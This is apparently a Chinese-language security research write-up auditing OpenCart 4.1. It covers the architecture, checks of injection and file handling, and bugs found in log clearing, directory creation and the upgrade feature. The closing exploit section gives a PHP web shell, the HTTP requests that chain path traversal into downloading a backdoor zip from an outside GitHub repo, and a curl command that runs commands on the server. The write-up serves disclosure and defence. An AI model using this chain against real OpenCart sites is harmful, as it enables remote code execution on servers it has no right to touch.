OpenCart漏洞挖掘
Opencart是一个基于PHP的开源电商平台GitHub - opencart/opencart: A free shopping cart system. OpenCart is an open source PHP-based online e-commerce solution.
测试版本:国际免费版v4.1
基础运行环境
PHP 8.0+
MySQL 5.7+
Apache 2.4 or Nginx1.15+
组件信息
AWS
guzzlehttp
guzzle 7.8.1
promises 2.0.2
psr7
mtdowling
- jmespath.php 2.7.0
psr
http-client 1.0.3
http-factory
http-message 1.0.1
ralouphie/getallheaders
scssphp
symfony
twig 3.8.0
架构分析
opencart采用MVC架构
在framework中根据cookie
中的session_id
找到当前会话储存的信息(默认在db中)
根据route
参数进入对应的controller执行对应的method(默认为.index
)
在controller中需要进行逻辑操作,如数据库查询时,加载model,调用model中的方法
页面渲染加载view,使用twig渲染模板
用户身份由session_id
进行识别,需要用户权限的api访问携带参数customer_token
,与session
中储存的customer_token
进行校验
管理员页面与用户页面情况相似
管理员除了session_id
、user_token
以外,还有access
与modify
权限检查
常见平台漏洞测试
sql注入
所有的sql查询都对用户输入进行了转换,字符串使用
real_escape_string
过滤,不太能注模板注入
twig模板文件渲染成php脚本,代码注入无效
业务面API
未认证接口分析
使用脚本扫描业务面API,测试cookie与token是否需要,对不需要cookie与token的API进行重点分析
1 |
|
1 |
|
经功能测试与代码审计,未发现明显漏洞
文件上传下载分析
在添加订单的部分存在文件上传接口,尝试绕过前端过滤直接向API上传文件,发现仍存在过滤,查看源码分析是否存在绕过可能
字符过滤 basename过滤
没法路径穿越,只能向指定目录上传文件
后缀白名单
检查最后一个后缀,没法通过多后缀绕过
MIME过滤
这个过滤无所谓,改HTTP请求就行
添加随机后缀
随机后缀,甚至不知道上传文件的真实文件名了,不太能利用文件上传
在账户管理中存在一个下载的接口,分析是否存在路径绕过等实现任意文件下载操作
下载需要download_id
,就是前面添加的随机后缀,根据download_id
查数据库找到真实文件路径,不能手动指定下载的文件,无法利用
管理面API
由于管理API在route到对应服务时做权限检查,白名单匹配,权限方面无明显漏洞,直接对高危模块进行详细分析
文件编辑分析
在主题编辑中存在直接编辑twig模板文件的功能,尝试使用该功能实现任意文件读写操作
使用realpath进行路径检查,只能在指定的目录中操作,不太能利用
图片管理器文件上传
网站所有的图片上传、编辑等操作都使用图片管理器实现,该管理器有文件预览、文件上传、文件夹创建、文件删除等功能,存在利用风险
文件预览
文件预览功能对文件名做了basename,但是路径没做过滤,存在路径绕过查看任意目录文件的可能,但是对预览文件的类型做了限制,只能预览图片文件和目录,存在漏洞但是影响较小
文件上传
realpath+后缀白名单,无法任意目录或任意文件上传
文件夹创建
basename+realpath 无法任意目录文件夹创建
删除
realpath 无法路径穿越
数据库备份恢复
能够对数据库进行备份,下载上传删除备份文件,能够根据上传的sql文件修改数据库(该功能存在风险,但属于管理员功能,不属于漏洞)
分析该功能的文件上传下载,同样存在basename的过滤,无法利用
文件上传
该功能可以下载和删除用户上传的文件,操作基于添加的随机后缀,无法直接指定文件名,因此也不太能利用
日志
日志功能能够预览日志文件,下载日志文件以及清除日志文件,尝试分析该功能是否存在任意文件读写
下载
经典basename,目录限制无法下载任意文件
清除
清除功能没有过滤文件名,可以直接清空任意文件(甚至是系统文件)
系统升级
系统的升级功能从github下载zip文件,从http参数中获取版本信息,字符串拼接得到url和文件名,通过构造version参数即可实现路径穿越,从github任意仓库下载zip文件
在升级包安装功能中,虽然对zip文件内部文件路径做了限制,但是仍然未对version参数进行过滤,传入与download时相同的version即可解压下载的文件
1 |
|
- 漏洞利用
首先需要利用../
的方式拼接url实现路径穿越,从自己的github仓库下载zip文件
例如
$version = '../../../example/example_repo/releases/download/v1.0/backdoor'
,
拼接前的url为https://github.com/opencart/opencart/archive/opencart-../../../example/example_repo/releases/download/v1.0/backdoor.zip
,
实际url
https://github.com/example/example_repo/releases/download/v1.0/backdoor.zip
. 完成下载后,调用install实现将 hack.zip
解压到 DIR_OPENCART/install
.
文件名 $file = DIR_DOWNLOAD . 'opencart-' . $version . '.zip'
,
实际文件名 DIR_DOWNLOAD/opencart-../../../example/example_repo/releases/download/v1.0/backdoor.zip
.
这需要在特定的目录下存在 opencart-..
example
example_repo
等文件夹.
需要找能够任意目录文件夹创建的漏洞
搜索mkdir寻找满足条件的调用,在security.storatge
找到存在任意文件夹创建的漏洞
该API是修改系统的存储目录,修改之后将存储目录的内容复制到新的目录并删除原目录,但复制过程如果失败,不会修改存储目录为新目录,也不会删除新建目录
通过修改存储目录并让复制过程失败,就能实现创建任意目录
这里其实有正则表达式过滤,但表达式写错了没有过滤成功,通过传入path参数就能创建任意文件夹
1 |
|
Exploit
Steps to reproduce the behavior:
create the backdoor.zip and create a repo
1
<?php @system($_GET["cmd"]);?>
1
zip backdoor.zip opencart-../../../example/example_repo/releases/download/v1.0/backdoor/upload/install/backdoor.php
create directory
opencart-..
1
GET /admin/index.php?route=common/security.storage&user_token=9fce5f4ac242980e6ec62cbdd72ceff8&path=/var/www/html/system/storage/download/opencart-.. HTTP/1.1
create directory
/var/www/html/system/storage/example/example_repo/releases/download/v1.0
like step 21
2GET /admin/index.php?route=common/security.storage&user_token=9fce5f4ac242980e6ec62cbdd72ceff8&path=/var/www/html/system/storage/example HTTP/1.1
...trigger download to download the backdoor.zip
1
GET /admin/index.php?route=tool/upgrade.download&user_token=9fce5f4ac242980e6ec62cbdd72ceff8&version=../../../example/example_repo/releases/download/v1.0/backdoor HTTP/1.1
trigger install to unzip the backdoor.zip
1
GET /admin/index.php?route=tool/upgrade.install&user_token=9fce5f4ac242980e6ec62cbdd72ceff8&version=../../../example/example_repo/releases/download/v1.0/backdoor HTTP/1.1
now
backdoor.php
in/var/www/html/install/
1
2➜ curl http://192.168.254.4:8080/install/backdoor.php\?cmd\=pwd
/var/www/html/install
影响范围
- 日志清除
存在文件清空漏洞,23b9d53引入,0a8dd91修复,影响版本4.0.0.0至最新版
- 任意文件夹创建
bc60f21中修复了正则匹配,导致无法创建包含-
的文件夹,影响版本4.0.0.0至最新版
- 升级包下载
由于目录创建修复了正则匹配,无法创建包含-
的文件夹,最新代码难以利用,影响版本4.0.0.0至最新版